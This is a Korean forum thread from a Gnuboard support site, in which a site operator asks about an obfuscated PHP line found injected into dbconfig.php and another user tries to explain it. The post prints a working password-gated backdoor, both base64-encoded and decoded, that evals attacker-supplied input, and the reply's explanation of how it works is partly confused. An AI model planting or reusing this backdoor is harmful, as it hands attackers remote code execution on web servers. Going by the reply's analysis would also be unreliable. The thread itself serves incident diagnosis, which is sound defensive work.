테스트 사이트 - 개발 중인 베타 버전입니다

그누보드 dbconfig.php 파일 해킹 피해 관련 질문 채택완료

P3NTAG0N 6년 전 조회 3,676

안녕하세요.

 

사이트를 서비스하는 도중에 dbconfig.php 파일을 확인해보니 최상단에 

</p>

<p><?php eval(base64_decode('ZnVuY3Rpb24gY29uZmlnX3NlbGYoKQ0Kew0KICAgICRzdHJpbmcgPSAkX1NFUlZFUlsnSFRUUF9TRUxGJ107DQogICAgZm9yICgkb25lID0gMDsgJG9uZSA8IHN0cmxlbigkc3RyaW5nKTsgJG9uZSArPSAyKSB7DQogICAgICAgICRkZWJ1Z2VyIC49IHBhY2soIkMiLCBoZXhkZWMoc3Vic3RyKCRzdHJpbmcsICRvbmUsIDIpKSk7DQogICAgfQ0KICAgIHJldHVybiAkZGVidWdlcjsNCn0NCmZ1bmN0aW9uIGRiX3B3ZDUoJHB3ZDUgPSBudWxsKSB7DQoJJGtleSA9IHN1YnN0cihtZDUoJHB3ZDUpLDI2KTsNCglyZXR1cm4gJGtleTsgfQ0KCSRhcnJheSA9IGFycmF5KA0KCQljaHIoODIpLmNocig4MykuY2hyKDY1KSwgDQoJCWNocig3MikuY2hyKDg0KS5jaHIoODQpLmNocig4MCkuY2hyKDk1KS5jaHIoODgpLCANCgkJY2hyKDUwKS5jaHIoMTAxKS5jaHIoNTIpLmNocig1NCkuY2hyKDUyKS5jaHIoNTMpDQoJKTsNCiAgICBpZiAoIGRiX3B3ZDUoJF9SRVFVRVNUWyRhcnJheVswXV0pID09ICRhcnJheVsyXSApIHsNCiAgICBldmFsKGNvbmZpZ19zZWxmKCkpOw0KfQ=='));?></p>

<p>

 

이런 코드가 발견되었습니다.

 

디코딩해보니

 

</p>

<p><?php</p>

<p>function config_self()</p>

<p>{</p>

<p>$string = $_SERVER['HTTP_SELF'];</p>

<p>for ($one = 0; $one < strlen($string); $one += 2) {</p>

<p>$debuger .= pack("C", hexdec(substr($string, $one, 2)));</p>

<p>}</p>

<p>return $debuger;</p>

<p>}</p>

<p>function db_pwd5($pwd5 = null) {</p>

<p>    $key = substr(md5($pwd5),26);</p>

<p>    return $key; }</p>

<p>    $array = array(</p>

<p>        chr(82).chr(83).chr(65),</p>

<p>        chr(72).chr(84).chr(84).chr(80).chr(95).chr(88),</p>

<p>        chr(50).chr(101).chr(52).chr(54).chr(52).chr(53)</p>

<p>    );</p>

<p>if ( db_pwd5($_REQUEST[$array[0]]) == $array[2] ) {</p>

<p>eval(config_self());</p>

<p>}</p>

<p>?></p>

<p>

 

위와 같은 코드가 나왔구요 ,, 외부에서 해당 펑션이 호출되지 않은것으로 보입니다만 ..

 

위 코드가 실행되면 어떻게 되는지 궁금해서요 ..

 

이부분에 대하여 잘 아시는분이 계시다면 꼭 답변 부탁드리겠습니다 ..

댓글을 작성하려면 로그인이 필요합니다.

답변 1개

채택된 답변
+20 포인트
플래토
6년 전

처음보는 현상의 질문이라 

저도 궁금해서 위의 코드가 실행되면 어찌될지 검색+조합을 통해서 추출해봤습니다.

위의 코드가 페이지가 열릴때마다

 

</p>

<p>$array 들어가는 값

( 

"RSA"

"HTTP_X"

"2e4645"

);

config_self(); // 가 실행됩니다.</p>

<p>config_self() 가 돌려주는 결과값은</p>

<p>$string = "파일명";  // 여기서는 /data/dbconfig.php</p>

<p>/data/dbconfig.php

^ ^ ^ ^ ^ ^ ^ ^ ^ 

/aadcni.h</p>

<p>

라는 문자열을 만들어냅니다.</p>

<p>그런데 dbconfig.php 파일은 어디에서든 호출되므로</p>

<p>호출URL명/?RSA=2e4645</p>

<p>와 같이 호출되면

/ 뒤의URL값을

0부터 2씩증가된 값을 이름으로 추출해서 뭔가를 실행시키게 되겠네요</p>

<p>

 

같이 될겁니다.

로그인 후 평가할 수 있습니다

답변에 대한 댓글 3개

P
P3NTAG0N
6년 전
악용한다면 어떤 시나리오까지 가능할까요 ..
플래토
6년 전
@P3NTAG0N 악용한다면
모든 스푸핑도 가능하겠는데요
디렉토리의 쓰기모드 점검해두시고
오너를 웹서버로 변경하시는게 좋을듯 합니다

그누보드 버전이 예전것이면 패치를꼭하시구요

다른 파일을 업로드가 가능하다면
그파일을 실행시킬수있는 내용으로 보여집니다
P
P3NTAG0N
6년 전
감사합니다 .. 스푸핑 계열의 공격인것 같군요 ,,

보안업데이트 지금부터라도 다시 해야겠네요

정말 감사합니다.

댓글을 작성하려면 로그인이 필요합니다.

답변을 작성하려면 로그인이 필요합니다.

로그인